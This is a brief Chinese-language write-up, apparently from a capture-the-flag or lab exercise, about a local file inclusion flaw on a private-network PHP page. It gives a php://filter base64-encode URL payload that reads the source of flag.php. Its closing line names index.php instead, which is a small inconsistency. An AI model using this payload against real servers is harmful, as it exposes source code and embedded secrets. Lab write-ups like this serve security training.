文件包含
关于文件包含 。题目是一个LFI的漏洞。访问连接 http://192.168.139.231/web30/include/index.php 这就是一个典型的文件包含的漏洞
遇到了这样的文件包含漏洞,就可以使用 filter 的方式读取php的源代码了。用法如下:
http://192.168.139.231/web30/include/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php
网页返回的就是index.php的源代码的base64编码